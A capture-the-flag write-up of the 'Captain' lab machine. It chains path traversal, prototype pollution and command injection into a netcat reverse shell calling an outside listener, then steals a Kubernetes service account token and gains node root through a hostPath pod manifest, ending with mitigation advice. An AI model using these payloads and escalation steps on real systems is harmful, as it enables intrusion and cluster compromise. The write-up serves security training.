Captain - HC Writeup

April 3, 2026·6 min read·
WebKubernetesPrivilege-Escalation

Target Information

  • IP Address: 172.16.13.70
  • Difficulty: Medium
  • Tags: Web, Kubernetes, Privilege Escalation

Reconnaissance

Port Scanning

I started with a full port scan using nmap:

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.13.70

Results:

$code
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Node.js Express framework

Only two open ports: SSH and HTTP. The web application is running on Node.js Express with the title "Captain Jack's Pirate Tours".


Web Enumeration

Discovery: Local File Inclusion (LFI)

While exploring the application, I identified an endpoint vulnerable to Local File Inclusion:

Endpoint: /api/download?file=

Test payload:

$http
GET /api/download?file=../../../../../../etc/passwd HTTP/1.1
Host: 172.16.13.70

Response:

$code
root:x:0:0:root:/root:/bin/sh
[...]
node:x:1000:1000::/home/node:/bin/sh

Vulnerability confirmed! I successfully read /etc/passwd.


Source Code Disclosure

Using the same LFI vulnerability, I extracted the application's source code:

$http
GET /api/download?file=../app%2ejs HTTP/1.1

Code analysis revealed:

  1. Vulnerable merge() function susceptible to Prototype Pollution:
$javascript
function merge(target, source) {
    for (let key in source) {
        if (isObject(target[key]) && isObject(source[key])) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}
  1. Booking class with command execution:
$javascript
class Booking {
    // ...
    confirm() {
        if (this.sendEmail) {
            exec(this.sendEmail);  // ⚠️ Command execution!
        }
        return { /* ... */ };
    }
}
  1. Booking endpoint uses the vulnerable function:
$javascript
app.post('/api/book', (req, res) => {
    let bookingData = clone(req.body);  // clone() uses merge()
    let booking = new Booking(bookingData);
    let confirmation = booking.confirm();
    // ...
});

Exploitation: Remote Code Execution

Prototype Pollution + Command Injection

I combined the vulnerabilities to achieve RCE:

Payload:

$json
{
  "name": "jack",
  "email": "test@test.com",
  "date": "2026-01-05",
  "passengers": 1,
  "tour": "standard",
  "__proto__": {
    "sendEmail": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.35.83 4444 >/tmp/f"
  }
}

Complete request:

$http
POST /api/book HTTP/1.1
Host: 172.16.13.70
Content-Type: application/json
Content-Length: 228
 
{
  "name": "jack",
  "email": "test@test.com",
  "date": "2026-01-05",
  "passengers": 1,
  "tour": "standard",
  "__proto__":{"sendEmail":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.35.83 4444 >/tmp/f"}
}

Listener:

$bash
nc -lvnp 4444

Reverse shell obtained!


Post-Exploitation: Container Environment

Environment Discovery

After obtaining shell access, I identified that I was inside a Kubernetes container:

$bash
$ env | grep KUBERNETES
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1

Important information:

  • Namespace: default
  • Service Account: captain-sa
  • Pod: captain-deployment-748769bfb4-hrf4c

Service Account Token Extraction

Every Kubernetes pod has a JWT token automatically mounted:

$bash
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Token obtained:

$code
eyJhbGciOiJSUzI1NiIsImtpZCI6IlRHM0FGc20xOUN3RWl2NUJTalQybHV1RG54NW56alZESGtqY01hR2JGY1kifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzk5MDc1MDMxLCJpYXQiOjE3Njc1MzkwMzEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJjYXB0YWluLWRlcGxveW1lbnQtNzQ4NzY5YmZiNC1ocmY0YyIsInVpZCI6IjMzNDEwOGFlLWQ2MTMtNDAzOS04MmFhLWRiMDU2ODNlZDk3YiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiY2FwdGFpbi1zYSIsInVpZCI6Ijc3MTgwOTA2LWExMmUtNGRhMi1iOTdkLWI0MTczOGQ5ZjFkOSJ9LCJ3YXJuYWZ0ZXIiOjE3Njc1NDI2Mzh9LCJuYmYiOjE3Njc1MzkwMzEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmNhcHRhaW4tc2EifQ.vdbNvggHJ6MD9GvU-x1zqCi7NPIB-_WO9DyWcJcBS09jp8ctdhctR8awjpD3RDuvqG3zLYocaVtRJLrs1AsFf2sRu8q_KcB-MsZh2_BY0xrHFpVMhCBLYaIEowJC7f-gP-AHWgfpYBIiOmu-i_kcIUuFnFUFskirk4ekQtlLBOLwt71UXKrT3DqU7td0nIpCvsjyPsR5jmVcIf7WxHege7mBvq2WlrhoSQiKc6BPKYrPZp8Sry6hrYYEr5XynanqkKfzEVQoQOl_eqZWnDDq35e2mqaNASRofge7SZwaUPmTxXpZu-uxv2Bhw7A1_r_Nmi53dKz70_OzMifiKPXQtQ

Privilege Escalation: Kubernetes RBAC Abuse

Permission Enumeration

I uploaded the kubectl binary to the container and checked the permissions:

$bash
./kubectl auth can-i --list --token eyJhbGc...

Discovered permissions:

$code
Resources                                       Verbs
pods                                            [create get list]
pods/exec                                       [create]

🚨 Critical permissions identified!

  • I can create new pods
  • I can execute commands inside pods

Malicious Pod Creation

I created a YAML manifest for a privileged pod that mounts the host filesystem:

exploit-pod.yaml:

$yaml
apiVersion: v1
kind: Pod
metadata:
  name: exploit-pod
  labels:
    run: exploit-pod
spec:
  volumes:
  - name: host-filesystem
    hostPath:
      path: /
  containers:
  - command:
    - sleep
    - "3600"
    image: ubuntu
    name: exploit-pod
    volumeMounts:
    - mountPath: /mnt
      name: host-filesystem
  resources: {}
  dnsPolicy: ClusterFirst
status: {}

Key points:

  • hostPath: path: / → Mounts the node's root filesystem
  • volumeMounts: mountPath: /mnt → Available at /mnt in the container

Deployment & Root Access

$bash
# Create the malicious pod
./kubectl create -f exploit-pod.yaml
 
# Wait for the pod to be Running
./kubectl get pods -w
 
# Execute shell in the pod
./kubectl exec -it exploit-pod -- bash

Confirmation:

$bash
root@exploit-pod:/# whoami
root
 
root@exploit-pod:/# ls /mnt
bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

ROOT OBTAINED! Full access to the Kubernetes node through the filesystem mounted at /mnt.


Attack Chain Summary

$code
1. LFI Discovery (/api/download)
   ↓
2. Source Code Extraction (app.js)
   ↓
3. Prototype Pollution Vulnerability
   ↓
4. Command Injection via exec()
   ↓
5. Reverse Shell (container access)
   ↓
6. Service Account Token Extraction
   ↓
7. Kubernetes API Authentication
   ↓
8. RBAC Misconfiguration (pods:create, pods/exec:create)
   ↓
9. Privileged Pod Creation (hostPath mount)
   ↓
10. Root Access on Kubernetes Node

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
Local File InclusionCWE-22HighSource code disclosure
Prototype PollutionCWE-1321HighObject manipulation
Command InjectionCWE-78CriticalRemote Code Execution
K8s RBAC MisconfigurationN/ACriticalCluster compromise
Missing Pod Security PolicyN/ACriticalPrivilege escalation

Mitigation Recommendations

Application Level

  1. Fix LFI: Validate and sanitize inputs for the file parameter
$javascript
   const safePath = path.basename(file); // Remove directory traversal
  1. Prevent Prototype Pollution: Use Object.create(null) or secure libraries
$javascript
   if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
       continue;
   }
  1. Avoid Command Injection: Never use exec() with user input
$javascript
   // Use secure libraries for email
   const nodemailer = require('nodemailer');

Kubernetes Level

  1. Implement RBAC Least Privilege:

    • Remove pods:create and pods/exec:create permissions from application service accounts
    • Use specific roles only for necessary operations
  2. Enable Pod Security Standards:

$yaml
   apiVersion: v1
   kind: Namespace
   metadata:
     name: default
     labels:
       pod-security.kubernetes.io/enforce: restricted
  1. Disable hostPath Mounts: Use Pod Security Policies/Admission Controllers

  2. Network Segmentation: Implement Network Policies to isolate pods


Tools Used

  • nmap - Network scanning and service enumeration
  • Burp Suite - Web proxy and HTTP request testing
  • curl - Command-line HTTP requests and API interaction
  • netcat - Listener setup and reverse shell handling
  • kubectl - Kubernetes cluster interaction and pod management

References


Author: cbxcvl Date: April 3, 2026
Machine: Captain